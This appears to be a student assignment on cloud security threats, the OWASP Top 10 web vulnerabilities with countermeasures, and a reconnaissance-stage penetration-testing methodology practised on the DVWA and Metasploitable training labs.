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Acronyms
DVWA – Dam Vulnerable Website
SaaS – Software as a Service
PaaS – Platform as a Service
DBaaS (Data-Base as a Service)
CaaS (Container as a Service),
CASB – Cloud access security broker
CSP – Cloud Service Provider
DTD – Document type definition
SQL – Structure Query Language
OWASP – Open Web Application security Project
DevOps – Development and Operation
DevSecOps – Development Security and Operation
BYOK – (Bring-Your-Own-Keys) 
KYOK – (Keep-your-Own-keys).
Blacker Hacker – Malicious Hackers



Assignment 
Introduction
Before the devastation of the Corona Virus (Covid-19), the importance of cybersecurity could be clearly seen with the high level of attacks [1].  Post Covid-19 and the importance of cybersecurity is even more evident.  Hacking attempts have increased exponentially (ref).  Cloud security is one of the high-risk areas because of cloud computing popularity due to the significant benefits it introduces [2].  Scalability, mobility (easy access), reduced cost, speedy deployment, disaster recovery handled by CSP (Cloud Service provider), data security, competitive edge,  etc.
Even though data security was mentioned earlier as a benefit, Cyber-Security in the Cloud, like all technology, is only as good as the knowledge or capabilities of the team of people responsible for maintaining the systems.  Most successful attacks, but not all, are due to misconfiguration because of human error, i.e., not following best practice procedures correctly or lack of knowledge.  
Human error results in faulty software, which means that software will always have vulnerabilities.  The key is to try and mitigate them, so the probability of exploitation is low.  Cloud Computing is designed in the form of models to meet customer needs.  The level of responsibility or abstraction between the Cloud service provider and the customer depends on the customer requirements, which directly relates to the model that directly relates to the balance of security responsibility.
[image: ]
Figure 1:  SaaS, PaaS and IaaS infrastructure [3] [4]

The research will look into; Cloud-based security issues and Web mark-up language, HTML5 vulnerabilities as well as database application security issues.  A BlackBox pentest was due to be carried out using https://tevelcyber.com/.  Unfortunately, permission to carry out the pentest has been retracted.  Due to this reason, Tevelcyber.com has only been used for reference purposes.  The different ethical hacking techniques were implemented using the DVWA (Dam Vulnerable website) and Metasploit, another vulnerable website used in the security arena for pentest training.
Cloud Computing Security
SaaS (Software as a Service Model) - The customers require the CSP (Cloud Service Provider) to be responsible for the infrastructure and software.  The customer will connect to the application/s over the Internet; any performance issues or outages are the responsibility of the  Cloud Service Provider.  The customers' only responsibility is the data [5].  Security aspects that the customer needs to consider consist of;  securing restful data, securing data in motion, and securing data in use (in memory).  The customer needs to ensure data is backed up, and a form of encryption implemented to keep data safe/secure.  Encryption key management makes sure you own your data, e.g., Confidential data, bring your own keys (BYOK), sensitive data, keep your own keys (KYOK).
PaaS (Platform as a Service Model)  - The customer requirement is to develop their applications inhouse, and then compile and run them on the CSP (Cloud Service Provider) platform without any responsibility for the underlying Infrastructure, i.e., compute, storage, networking.  If they only require the ability to create applications using the CSPs programming language execution platform.  PaaS (Platform as a Service Model) allows the customer to customise the operating system, web servers, and database/s [6].  
IaaS (Infrastructure as a Service Model) - If the customer requires full control of all the elements, the outcome will mean that they will have to build a complete network environment in the Cloud.  Configure cloud services related to compute, storage, firewalls, switches, routers, proxy servers, load balancers, DNS, and applications.  Similar design as having your on-premise Data Center without the cost of any tangible items like the UPS, air conditioning, Blade enclosures, generators, amongst others [7].  
Alternative Cloud Models
There are several other models, including DBaaS (Data-Base as a Service), CaaS (Container as a Service), which follow the same design principle or pattern.  It depends on what the customer requirements are, which determine the balance of abstraction/responsibility between the CSP (Cloud Service Provider) and Customer or Tenant.
Cloud security responsibilities and disadvantages
The higher the level of cloud abstraction usually relates to less vulnerable systems because the Cloud Service provider (CSP) or Cloud Access Security Broker (CASB) specialists take on the responsibility of maintaining the service or system security [8].  The tenant or customer has limited involvement regarding security.  Less abstraction or more inhouse development carried out, the higher the chance of vulnerabilities unknowingly created.  
Another critical security issue is the lack of security knowledge because of the increased uptake in automation and the changes in development practices [9].  DevOps (Development and Operations), DevSecOps (Development, Security and Operations) Agile, Continuous Integration (CI), and Continuous deployment (CD) shows the trend of Orchestration and configuration management shifting towards the development role or skill set.  Developers are now tasked with infrastructure security, which they have limited experience [10]. An excellent example of this is Kubernetes, which is the de-facto orchestration tool for Containerisation/Docker and is a very programmatic robust environment that all Cloud Providers have embraced.  It needs developer-level experience or expert scripting knowledge to implement correctly.
A few reputable organisations over the last ten years in the cloud services arena have monitored the cloud and application security market, developing and continuously reviewing priority-based security lists and methodologies.  They are lists of the most critical potential exploitations that companies/organisations should secure against and best practices methodologies to develop countermeasures.
CSA (Cloud Security Alliance) Egregious Eleven, OWASP (Open Web Application Security Project), Gartner, an industry lead reporting organisation, are some of the key sources that were used in the research for this paper.

	Cloud Security Alliance: Top Threats for Cloud Computing

	2016 Survey
	Affects
	2019 Survey
	Affects

	1. Data Breaches
2. Weak Identity, Credential, and Access Management
3. Insecure APIs
4. System and Application Vulnerabilities
5. Account Hijacking
6. Malicious Insiders
7. Advanced Persistent Threats (APTs)
8. Data Loss
9. Insufficient Due Diligence
10. Abuse and Nefarious Use of Cloud Services
11. Denial of Service
12. Shared Technology Issues
	1.Both
2.Both

3.Both
4.Both

5.Both
6.Both
7.Both
8.CSP
9.Cust
10.Both

11.Both
12.CSP

	1. Data Breaches (1)
2. Misconfiguration and Inadequate Change Control
3. Lack of Cloud Security Architecture and Strategy
4. Insufficient Identity, Credential, Access, and Key Management
5. Account Hijacking (5)
6. Insider Threat (6)
7. Insecure Interfaces and APIs [11] (3)
8. Weak Control Plane
9. Metastructure and Applistructure Failures 
10. Limited Cloud Usage Visibility 
11. Abuse and Nefarious Use of Cloud Services (10)

	1.Both
2.Cust

3.Cust
4.Cust

5.Both
6.Cust
7.Both
8.Cust
9.Both
10.Both
11.Both



Figure 2: The Egregious Eleven ranked in order of significance  [12]. The Cloud Security Alliance Treacherous 12 [13].  Key for table rank information, Customer (Cust), Cloud Service Provider (CSP), or Both (B).  Red numbers are references.  The bracketed numbers in 2019 are showing the previous position.
Cybersecurity attacks
Cybersecurity attacks can be described as any unauthorised access to confidential data and Intellectual property, e.g., a mass hack of PII (Personal Identifiable Information) disclosed on the Internet or Dark Web.  It occurs typically through a hacking incident and human error through inadequate security practices, which results in vulnerabilities, i.e., application and Infrastructure.  It affects all cloud models (SaaS, PaaS, IaaS, etc.), which result in severe implications for customer/tenant and cloud service providers (CSP).
Human error was mentioned earlier in the text as a worrying trend regarding security.  The fact that it is listed as number two on the CSA Egregious Eleven (Figure One) and Gartner Top 10 projects concentrate more on implementing systems related to limiting or restricting user access and errors proves that it is a significant concern.  
	Gartner: Top 10 Security Projects for 2019 [14]:

	1. Privileged access management (PAM) 
2. CARTA-inspired vulnerability management [15]
3. Detection and response [16]
4. Cloud access security broker (CASB) [17]
5. Cloud security posture management (CSPM) [18]
6. Business email compromise [19] [20] [21]
7. Dark data discovery [22]
8. Security incident report [23]
9. Container security [24] [23]
10. Security rating services (SRS) [25] [26]



Figure 3: Gartner Top 10 Security Projects for 2019 [23]


Perception of Cloud Security
The capital One breach of over 100 million people's details disclosed on the Internet, is proof.  It culminated because of a misconfiguration in an application firewall [27].  The change management needed in the Cloud has re-engineered itself because of automation, hybrid Cloud, multi-cloud use per customer, and the integration of what were multiple static roles, DevOps and DevSecOps methodology/workflows.  These elements have brought about speed, efficiency, and agility in the Cloud but have resulted in significant complexities when trying to implement change management.  The outcome results in many changes not being adequately scrutinised before approval, which means the probability of mistakes occurring is highly likely.  
Cloud has brought about a multitude of efficiencies including, scalability, accessibility, pay-per-use (Cost-effective), speed of deployment, mobility.  All these efficiencies and more have given the customers a false perspective or misleading perception.  There misplaced belief is that all they have to do is move their environment as quickly as possible into the Cloud, and the Cloud Service Provider platform is entirely secure.  Many cloud customers do not understand the full extent of shared security responsibility.  Special attention is needed to create a well-thought-out Security Architecture and Strategy.  The customer's lack of security insight has created vulnerabilities that lead to successful cyber attacks.  The proper use of cloud security tooling, i.e., SecaaS (Security as a Service) will improve the company security posture [28].
Privileged Access Management 
Gartners number one project in the top 10 security `projects  carried out in 2019 is Privileged Access Management (PAM) [23]. PAM securely manage the accounts of users who have elevated permissions to critical corporate resources.  PAM and IAM (Identity and Access Management) support on-premises, hybrid, and cloud environments. PAM, as a minimum, uses multi-factor authentication (MFA), for all administrators and third-parties.  They both can also use one-time certificates, risk-based management, and multi-level authentication and authorisation with automated provisioning and de-provisioning of accounts.  In March 2019, Citrix Systems, a multi-national company that has approximately 400,000 customers, was hacked, which caused a data breach of Social security numbers and other confidential financial information. Citrix security believed a 'Password spraying attack' allowed the black hacker to gain access by scanning systems and infiltrating them using commonly used weak passwords [29].  PAM and IAM could have stopped or limited the high-level of data disclosure.  Encryption key management to secure restful data, data in motion are vital and would also have helped defend against this attack.  However, the management of the actual encryption/decryption keys is critical, i.e., BYOK (Bring Your Own Key), KYOK (Keep Your Own key).  There is a high-risk of discovery and missus if keys are embedded in source code, or listed in Public repositories, e.g., GitHub. Public Key Infrastructure (PKI) and Blockchain providers like Versign should be used [30].
Account Hijacking
Account Hijacking occurs because of several hacking techniques.  Two key reasons are phishing attacks [31], which allows con artists to obtain and use the victim's information for malicious purposes or using stolen credentials from previous successful cyber attacks [32].  These attacks cause significant disruption because highly privileged accounts are completely compromised (full access); all services that use these elevated accounts are at risk [33].  PAM, previously discussed in this text, is one of the security defenses.  Employee training and awareness regarding phishing attacks are another.  The ramifications are damage to reputation, legal liability exposure, Personal/confidential information disclosure, which could result in GDPR penalties because of loss of intellectual property [34].
Insider threats
Insider threats are carried out by trusted employees or partners with elevated account privileges trying to harm the organisation through sabotage or theft. All perimeter security defenses and most internal security are rendered useless. The attacker's knowledge about the environment and permissions will more than likely allow them to bypass internal security, e.g., System administrators. The adverse effects and system downtime commonly result in a significant hit in profitability.  Disadvantages include reduced efficiency and productivity, reputation (loss of customer trust), loss of intellectual property to competitors, which could result in loss of market share [35].  Insider threats can also be unintentional or accidental, like phishing attacks.
The nature of Insider Threats means that the best defense is a balanced approach to employee satisfaction through employee incentives like performance rewards.  Good management practices, company policies integrated with information security governance programs, which includes training.  It will clearly state the adverse implications if an employee breaks them and the positives when they are adhered to them [36]. 
Exposing API’s
Cloud automation is built on exposing API's; application developers for cloud customers can easily call and integrate their functionality in scripts or code that improves efficiency and performance.  The ease of use in itself can introduce potential high-risk vulnerabilities. Weak, designed APIs have caused successful cyberattacks, which have resulted in data breaches by bypassing authentication  [37]. This vulnerability allows the attacker to directly manipulated the downstream Application (API), which has elevated access to all data.  The nature of Cloud computing is that numerous APIs are publicly accessible because they are massive company revenue drivers.  Custom applications can integrate with the services or functions of the Cloud Service Provider and third-party companies.  The public exposure of the APIs results in continuous attacks; any weakness or flaw in security will eventually be exposed.
Weak Control Plane 
Redundancy in your network requires Controlling how your data is backed up, i.e., Daily, Weekly, Fortnightly, or monthly backup.  Data Backup also includes data migration, On-premise to Cloud, and Cloud to Cloud.  Complexities are increased even more with hybrid and multi-cloud designs.  The Cloud control plane function is to ensure the integrity and security of the data when it is at rest, in motion, or use, i.e., stored, migrated, and processing/in memory.   A Weak Control plane is a result of not providing adequate security controls to meet the security requirements of the customer [2]. The customer must be certain they carry out all the required due diligence measures before entrusting their data to the Cloud Serice provider.  MFA or Multifactor authentication is one of the market-leading security controls you would expect.   The adverse effect can result in exposing intellectual assets to black hacker infiltration, which leads to data loss by theft or corruption, e.g., Ransomware [38].  Workflows need to be continuously analysed so that any data flow weakness is identified.   Security controls can then be implemented to lower the probability of data corruption, unavailability, and leakage.  The implications can be very severe, including General Data Protection Regulation (GDPR), £20 million, or 4% of global revenue fine.

Metastructure and Applistructure failures
Metastructure and Applistructure failures relate to the demarcation or waterline.  They reference the boundary of security responsibility between the customer and CSP (Cloud Service Provider).  This demarcation point or waterline depends on the model implemented, i.e., IaaS, PaaS, or IaaS.  The presentation of operational functions is manipulated by the customer using API calls to the CSP metastructure with its integrated security. Vulnerabilities are experienced from poor design and weak API implementation from the Cloud Service Provider Metastructure.  CSP Metastructure incorrectly allowing API access to sensitive data, which results in attacker infiltration [39].  The customer perspective or Applistructure relates to properly designing applications so they can integrate and utilise the Cloud Providers platform or metastructure.  The customer's belief that they can move an on-premise application into the Cloud without revisiting the relevant stages of the development lifecycle and thoroughly testing introduces flaws or vulnerabilities.
Shadow IT
Shadow IT is the use of cloud software/applications by users without approval from the IT Department.  The outcome could be the use of confidential or sensitive data with Cloud software that has a high probability of vulnerabilities.  The integration of applications has increased the tasks it can perform, widened the user case implementation, which has introduced many advantages.  There is an argument for Shadow IT (SIT) as it has benefits such as increased end-user creativity, innovation, and improved business performance [40]. However, it has also resulted in Corporate approved applications being misused internally, or targeted by attackers because the application's technical capabilities or power are challenging to monitor thoroughly [41].  Configuration management tools like SCCM, Ivanti Unified Endpoint Manager, Intune, and Symantec Endpoint Protection are some of the administrative tools that can help to control applications used throughout an organisation.  They have the capability to monitor applications installed, flag them as non standard applications, and remove them.  Microsoft’s Software Center only allows users to install applications it lists as authorised.  Endpoint protection enforces this by stopping users installing application unless they are on an authorised list.


Cloud Security Conclusion:
The industry preference is largely shifting towards cloud computing resources due to the advantages like scalability, accessibility, pay-per-use (Cost-effective), speed of deployment, and mobility.  This also means that hackers are using the power and flexibility of cloud computing to make cyber attacks harder to identify and completely stealth.  The cyber attacks are regularly sourced from the CSP domain, which makes the traffic look legitimate.  The success of the attacks are partially linked to the shift in business practices and responsibilities.  The Amalgamation of roles like Development, Security, and Operations (DevSecOps) makes the applications team responsible for security with limited experience.  Automation advantages of speed and efficiency have also included disadvantages because of the pressure to develop applications as soon as possible, have brought about poorly designed APIs with vulnerabilities.  The CSA (Cloud Security Alliance) Egregious Eleven from 2016 to 2019 (Figure 2) shows the trend in security issues moving away from the Cloud service provider and towards the customer.  The top areas of concern in the list are all customer-created vulnerabilities.  The majority of the Cloud Service Provider (CSP) vulnerabilities are towards the lower priority on the list (Figure 2).
The top 10 security projects that Gartner Market research identified, (Figure 3) enforces this fact.  The projects are mainly linked to reducing cloud customer errors and lowering the probability of exploiting privileged accounts or shifting responsibility of security away from the customer to a Broker.

HTML5 and Database security
The industry as a whole has moved towards HTML frontend applications for Databases because of advantages like platform-independent, consistent user experience and easy of user setup.  HTML5 (HyperText Markup language) is the de-facto standard for web development. It is a living standard because it is continually evolving as functionality is continuously added to it by the web development community.  HTML5 structure consists of HTML, CSS (Cascading Style Sheet) and Javascript.  HTML5 introduced a number of built in functionality advancements like Multimedia, hybrid mobile applications, and security improvements to its predecessor, HMTL4.  Some of the security aspects are Content scripting Policy, Reference Policy, and Web Cryptography API, which were developed to combat cross-site scripting. More security vulnerabilities and remediation techniques are discussed in the main body of the text.  
Most HTML5 security threats or vulnerabilities are the results of incorrect implementation or human error in HTML coding functions.  These include communication APIs (web messaging, cross origin resource sharing, web sockets and server-sent events), Storage APIs (local storage, client-side databases), geolocation, web workers, sandboxed frames and offline applications.
Injection attacks
Injection attacks are generally related to Database style attacks, e.g., LDAP (Light Weight Access Protocol). SQL (Structured Query Language) injection is one of the most widespread cyber-attacks (Appendix C, D & E).  An example of a query is a Web app calling a backend database.  SQL is the language the application uses to talk to the database.  The best approach is to make sure the web application is built correctly with access controls and defense mechanisms [42].  Always consider user input as untrusted data, ensure that it is validated before backend database commands are permitted to run.  
Query Parameterisation is one of the techniques that guard against Injection attacks [43].   Commands that are forwarded from the Web Applications to the backend Database have parameters.  The serialisation process involves separating the SQL statements from the parameters included in the call back to the database.  All user input must be validated, so they conform to the expected characters; only characters that are not numbers or symbols are allowed.  The user input must comply; otherwise, it is rejected.  SQL best practice configuration is to limit the size of data from a database call; only a specific maximum is allowed, similar to windowing in networking.  WAF (Web Application firewalls) is an Industry standard solution because it performs deep packet inspection of network traffic flowing between the client and servers; it then identifies and blocks attacks  [44].  The best form of defense is to follow best practices to design and build websites and databases properly.
Broken Authentication
Broken Authentication relates to an attacker trying to access or login to a web application without proper credentials.  Backend databases generally store user names and passwords.  The backend database calls go through an authentication procedure if the validation is successful; the user is allowed access.  The web application creates a Session-ID as part of the authentication process to identify the user [45].  If the Web application is poorly designed or inappropriately configured, hackers may gain access using an attack called credential stuffing [46].  Black hackers can have a known list of user credentials from previous exploits, i.e., downloaded from the Dark Web. The Hacker could also have previously carried out a stealth attack and now wants to regain access.  Credential-stuffing techniques, result in the user name and password fields of the web applications being brute-forced to gain access.   
Automated attacks are another technique where random user names and passwords are systematically processed. Several Manufacturers' default usernames and passwords are continuously automatically inputted.  Another exploit can occur If a user does not log out of an application correctly and inadequately closes the tab, the browser session is still open, and the session ID will be stored.  It is possible to open another tab and access the same web application.
Broken Authentication - Countermeasures
 Mult-factor authentication includes Fingerprint scans, iris scans, facial recognition, voice recognition, Hard & soft tokens, mobile authentication (SMS messages) are some of the many security techniques used throughout Industry [47].  Proactive Password checking occurs when the owner of the web application runs an automated check of commonly used passwords, against a database of the web application usernames and passwords (Self-attack or Internal Pentest).  If there is a match all the vulnerable users are automatically notified with a request to change their password.  Password Complexity requirements are preset, which the user has to meet when setting their password.  Limit failed login, too many password attempts using the same user name will lock the account out.  Server-side session management, Initial Session ID is disregarded, and the server creates a new random Session- ID.  The outcome is the Hacker can not use the initial Session-ID.  Web Application Firewalls (WAF) can block this attack, but good design and accurate configuration is the best approach.


Sensitive Data Exposure
Sensetive Data Exposure, like credit card numbers stored with Web Applications, is susceptible to attacks.  Different page types use TLS and some use HTTP clear text.  Weak ciphers could expose the website to hacks.  The Hacker could use specific tools to downgrade the application to use HTTP.  If there is file upload flaws on a password database the Hacker can infiltrate the system and upload an encrypted password file.  The Hacker might be able to run a rainbow Table (Password crack software) [48] [49] and decrypt the database password to view it in plain text.  In March 2017, personal identifying data off over 100 million US citizens was stolen from Equifax.  The Strut vulnerability [50] was used to gain entry, but several security failures exacerbated the breach.  The Strut vulnerability (CVE-2017-5638) [51]  allows an attacker to include code in the Content-Type header of an HTTP request. The webserver will then execute this code.

Sensitive Data Exposure  - Remediation/Coutermeasures.
Classify data and apply controls to the data depending on its sensitivity, Data leak Prevention (DLP) is one technology that would only allow the data to be manipulated as specified in preset policies.  Build the application correctly by encrypting all the sensitive pages with strong ciphers, and encrypt sensitive data at rest [52].  Implement PFS (Perfect forward secrecy), a stronger form of communication using the TLS protocol between the user and the webserver [53].  HSTS (HTTP strict transport security) enforces connections in HTTPS, i.e., you must use it, or no communication will be allowed [53].  Best design practice is not to store sensitive data unless there is no other option.  Better to use it and then remove it, i.e., only retain for the minimum amount of time required.

XML External Entities (XXE
XML External Entities (XXE) is a form of injection attack that attacks weak XML parsers (Appendix ; an example is the Billion laughs [54]. It occurs because the XML parser, a software library, or package that provides an interface to XML documents is not validated or configured correctly [55].  Similar to a denial of service attack, it resizes the payload of a Small file (1KB) that continually increases in size, this results in the system processing a mass of data (3GB plus).  XXE commonly occurs when the XML code references an external entity.  It creates a loop of malicious payload generation; the processing requests continually grow bigger and bigger until the application grinds to a halt [56].  XXE example is SAML federated security and single sign-on (SSO) uses XML for identity assertions and can be vulnerable to XXE.

XML External Entities – Countermeasures 
Keep software version up-to-date, patch all XML libraries, and processors the web application uses.  Completely disable XXE or disable it per parser. Disable DTD (Document Type Definition), which is an XML document validation process across the whole web application or disable it per XML processor or parser.  Implement positive server-side input validation, run validation before you run the commands.  Use source code analysis tools like SAST (Static Application Security Testing tools) to detect XXE code.  Run source code verification against your source code and web application to see if it is vulnerable.
DAST (Dynamic Application Security Testing) are web scanners that generate attacks against a web application.  Tools like Burpsuite and Zap are industry-leading DAST tools that allow ethical hackers to confirm if the site is vulnerable.
Broken Access Control
Broken Access Control, relates to only allowing users access to the required resources needed and blocking access to non-authorised users.  This type of vulnerability relates to standard users elevating their access rights and gaining admin access,   DAST (Dynamic Application Secuirty Testing), and SAST (Static Application security Testing Tools) are good at identifying if an access control exists.  However, they struggle to determine if the access control was constructed and is functioning correctly and effectively.  Web applications can be hacked by altering the URL to access an administrator's admin page (Appendix D and I).  The Hacker keeps changing the URL, internal application state, or the HTML webpage to bypass access control and see if a reply comes back with account information [57]. 
Broken Access Control – Countermeasures 
Only allow Trusted server-side code.  Deny all access by default, only allow access for specific user requirements.  Implement access control once and then reuse them, develop consistent standards.  Log all failures and alert administration if a precise boundary is surpassed, which could be an attack.  Rate limit access to specific features; automated attacks will be significantly slowed down, which generally results in the attacker believing the system is secure and aborting the attack.  Automated alerting will also have a higher probability of identifying the attack, and notifying the administrator while it is running.  Multi-factor authentications and rotating session ID’s eliminates session fixation [58].  Implement least-privilege techniques by only allowing users the minimum access and the minimum time required to do their job.  This action lowers the probability of a successful attack because user access is time-based.
Security Misconfiguration
Security Misconfiguration occurs when out of the box configurations are not adequately analysed for vulnerabilities.  Web application standard configurations have multiple vulnerabilities if not reconfigured correctly, i.e., unnecessary features configured by default.  The best approach is to confirm what you need and disable everything else as it creates a higher risk of potential vulnerability exploitation.  The default account is an example; Internet-wide users are aware of them.  Divulging too much information is not good practice, i.e., listing what software versions you are running.  Best not to overshare information about your environment, more accessible for hackers to look up vulnerabilities. 

 
Security Misconfiguration - Countermeasures
Install the latest security patches to eliminate known vulnerabilities.  The use of security headers can reduce the probability of being hacked because HTTP responses to the client must be confirmed.  Automate repeatable hardening process using applications like Microsofts SCCM.  All servers and PC's need to have the same configuration from a security configuration perspective (templates).  Minimal platform footprint, only enable or install what you need to make the web application function fully.  DAST (Dynamic Application Secuirty Testing) automated test and scan tool can help with this.  It carries out several essential checks like default accounts set up correctly and the lastest patching installed, amongst others (Ref).
Cross-Site scripting (XSS)
Cross-Site scripting (XSS) or client-side code injection has three main types. (1) Persistent/Stored XSS is Stored on the Website Database and is executed every time the URL is accessed (2) Reflected XSS is a targeted exploit and only runs when a user browses to a specific crafted vulnerable URL, created by the attacker (3).  DOM based XSS is a Javascript code vulnerability written on the client-side, wholly written and interpreted by the client without any communication with the server.  It can be very dangerous because the server has inbuilt security to pinpoint XSS vulnerabilities.  One example of XSS Hack involves an attacker trying to implant code in your web application that redirects secret information.  There are several techniques, one of the most popular is the Hacker trying to steal the session cookie so he can impersonate a valid-user and gain access. Appendix F to H shows some Cross-Site scripting attacks.
The attacker scans the web application to determine that it has a cross-Site scripting vulnerability.  The attacker will then try and infiltrate the web app by sending a POST request.  POST is a method that instructs a web server to accept the data enclosed in the body of the request message.  Hidden inside the POST will be a script that will attempt to redirect the cookie from the victim to the attacker.  The POST will be sent to the database of the application [59].  However, this will only occur if the web application has been misconfigured, and the database is present on the same server as the web application.  If the database blocks POST requests from being used, it should stop this attack.
The user usually is tricked into accessing the legitimate website where the malicious code was implanted because the attacker has used social engineering techniques to gather information.  They have previously carried out different reconnaissance hacks so they can target the users, e.g., spear phishing [60].  
A user sends a Get request to the web application requesting the latest comments from the database.  The latest information from the database will have the malicious code.  The HTML code on the server will allow the lastest information to be printed and sent to the user\victim using an HTML 200 ok message.  Malicious code from the attacker is executed in the users' browser, and the cookie is redirected to the attackers' website (Appendix F & G).

Cross-Site scripting - Countermeasures
Browser security has improved and is better at blocking Cross-site scripting, which is one of the reasons it has moved to a lower priority in the OWASP Top 10 [61].  It is good practice to separate trusted data from active browser content.  All user input data should be considered untrusted.  Make sure web application is secure using SAST and DAST tools. Web Application Firewalls are in the market to detect and block cross-site scripting.
Insecure Deserialisation relates to serialisation that involves moving objects from one location to another, e.g., distributed data transfer between web applications and databases over a network.  Data is transferred using a byte stream, so it is kept in a persistent and recognisable state.  The receiver will deserialise the byte stream.  This process has similarities to encapsulating and decapsulating in networking.  If untrusted use is not validated and allowed to be deserialised, the attacker can implant untrusted attack data to exploit a vulnerability.  If PHP development using objects like user IDs, roles and password hash is not validated, the attacker could change the Supercookie and insert malicious code, which may allow them to gain admin access.  The result could be remote execution access, denial of service, amongst others.  It can be hard to pinpoint these issues, need to scrub code, use scanning tools, and a lot of human interaction is required.  Web Application Firewall (WAF) can also help to defend against these attacks


Using Components with Known Vulnerabilities  
Using Components with Known Vulnerabilities  - Numerous technologies are needed to allow web applications to function correctly.  Several of them have known vulnerabilities that should always be analysed (risk assessed), rectified, or defended against when enabling them.  Generally, Applications require a web application on a Microsoft or Apache server and a Sequel or Oracle Database with TLS/SSL technology-enabled.  Struts is a well known Apache remote code execution vulnerability [51] [62].  There are multiple Java VM vulnerabilities in Oracle, which are listed in the references [63] [64].  Heart Bleed is a TLS/SSL vulnerability that results in tricking users into sending sensitive information like user names and passwords [65].  Known vulnerabilities can be good and bad because Developers know about them; however, Black Hackers are also aware.  If any human error or mistake is made when implementing the technologies, your organisation will be vulnerable to an attack.
Using Components with Known Vulnerabilities - Countermeasures
Automate continuous inventory of clients and servers, so administrators know precisely who and what devices have access to the company network.  Only download software from trusted sources, e.g., Microsoft software center.  Plan for monitoring with technology like Syslog (Solarwinds).   Use Patching technology like Microsoft SCCM (System Center Configuration Manager), and other orchestration and configuration management technologies like Ansible, Puppet, and Kubernetes.  Use CVE (Common Weakness Enumeration [66]) and NVD (National Vulnerability Database [67]) for known vulnerabilities.  Run searches and comparisons against these databases, tools like Nessus and Darktrace allow this process to be automated.


Insufficient Logging and Monitoring
Insufficient Logging and Monitoring relates to implementing warnings, error messages, alert thresholds set by administrators, that inform admins of anomalies in your network.  Sadly they are either not monitored enough to be used proactively to diagnose issues, more reactive or non-existent.  The other major downfall is that the required use of the data and the content are mismatched, so the logs are not fit for purpose, i.e., unusable. 
Log files need to be secure, so hackers cannot access them.  If they gain access to them, they can identify what alerts are related to their attacks and re-tune the attack vectors, so they are unnoticed or completely stealth.  A significant amount of effort must be made to make sure logs are transferred securely, and its integrity remains intact.  If an attacker exploits a vulnerability related to your user names, they could run a scan using common passwords or a dictionary.  If the hacker's automated scripts, hack 200 passwords out of 2000 successfully, i.e., match password to a username.  There would be 1800 failed login attempts around the same time, which would have alerted if logging and monitoring is set up correctly.

Countermeasures and Key aspects to consider when logging
Sufficient content must be included so the logs can be used to diagnose issues. Enough in-depth information and content captured, so it is usable and understandable. Indepth analysis into key aspects like Precision, functionality, usable format, and compilable will ensure it is accurate and fit for purpose.  Integrity controls confirm that the data has not been compromised, i.e., checks like MD5 hashing to verify logs sent to the Syslog management server have not been tampered with.
Response Plan (Incident/Disaster), if there has been a breach, and no one is monitoring the logs/alerts, it renders the system useless.  There needs to be consistent monitoring put in place.  Whether it is an automated Artificial intelligent based system like Dark Trace or done manually, it has to be a regular\continuous process.  Web Application Firewalls (WAF), Work at the higher level 5 to 7 or 4 to 7 of the OSI reference model.  Attacks that they guard against include HTTP Flood and Slow Ions.  WAF acts as a central point that blocks all attacks because it sits in front of all servers.          
HTML5 and Database Conclusion 
HTML5 is the industry standard for web development and database access because of advantages like platform independence, ease of development, and the worldwide web access being a standard requirement for most people.  From a security perspective, several worrying trends have emerged that has led to successful attacks like the 2017, personal identifying data off over 100 million US citizens was stolen from Equifax.  The OWASP 10 evolving list has been discussed in the literature because it was purposely developed to help the industry guard against reoccurring vulnerabilities.  The OWASP top 10 documentation is extremely indepth and has a wealth of information and special created documents like a test guide [58] and checklist [68].  This allows security personnel to follow a proven industry leading security methodolgy.  The OWASP top 10 includes:

· A1 Injection
· A2 Broken Authentication and Session Management
· A3 Sensitive Data Exposure
· A4 XML External Entities (XXE)
· A5 Broken Access Control
· A6 Security Misconfiguration
· A7 Cross-Site Scripting (XSS)
· A8 Insecure Deserialization
· A9 Using Components with Known Vulnerabilities
· A10 Insufficient Logging and Monitoring

 One of the key facts that cause the Vulnerbilities is poor deisgn which directly links to human error.  Other key facts are lack of security knowledge as security was not something that developers directly considered but roles have changed as pinpointed in the earlier cloud services section i.e. Agile, DevOps,DevSecOps.
Technology like SAST (Static Application security Testing) and DAST (Dynamic Application Security Testing) has been mentioned in a number of the OWASP Top 10, which helps to secure web applications and databases.  SAST is used to scrub/examine code during development.  It is discussed as countermeasure for design flaws and directly links with the top 10 that are development-related like; Broken Access Control, XML External Entities, and Cross-Site Scripting.
DAST tools are BlackBox scanning tools, not development security examining tools.  They are capable of scanning for vulnerabilities in all the OWASP top 10 and include tools like Burpsuite, Nessus, and Zap.  WAF (Web Application Firewall) is another security appliance that can be used to defend against vulnerabilities.  It generally sits in front of the web application and carries out deep packet inspection between layer 4 and 7 of the OSI model and blocks all known vulnerabilities.  It also has the capability of blocking all the OWASP attacks.
 











Penetration Testing

The penetration testing methodology was carried out using the OWASP Top 10 2017 version [56], OWASP Testing Guide [58], the OWASPv4-Testing-Checklist [68] and several journals.  The idea was to follow the Five stages of the ethical hacking life cycle (Figure) because permission was granted to carry out Black Box testing on a real website (Tevelcyber.com).  However, consent was retracted before the methodology depicted in the flowcharts in the Appendices could be applied.  Only an attempt at the reconnaissance stage was carried out in time.  The penetration methodology was performed on the DVWA (Dam Vulnerable Web Application) and Metasploitable, which are industry-leading websites with known vulnerabilities used for Penetration testing training. 


Five stages of Ethical hacking
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Figure 4: Five Stages of Ethical Hacking







Reconnaissance Workflow
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Figure 5: Reconnaissance Work Flow
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Penetration Testing Conclusion
The reconnaissance stage was initially a passive process to try and be as stealth or undetectable as possible.  Its aim is to research the website and carry out google searches (Appendix A) e.g. searches through the website menu map and searching for PDFs and login pages.  The WHOIS online utility was used and brought up a wealth of information about the hosting company, which at the time was Hostgator (A5).  WHOIS Information also includes DNS servers IP addresses, location, DNSSEC state etc. Metgoofil (A6) was used to try and automate the process of gathering public documents from google and generating a report.  The utility did not gather any relevant information. The Harvester (A7) utility was used to gather emails, address and subdomain information with IP addresses.  The search parameters were between a 100 and 200, initially because it was used alongside Maltego, another very powerful information gather tool.  Maltego (A8)  gathered all the Websites hosted from the Hostgator environment with the same IP address.  Any site on that IP arrange with a vulnerability could be used as a gateway to infiltrate the Tevelcyber.com website.  However, this is out of the scope so cannot be used for ethical penetration testing, but black hackers will use any means to hack the site.

Appendix A9 [68] [58] Reconnaissance and Scanning Checklist
[image: ][image: ]
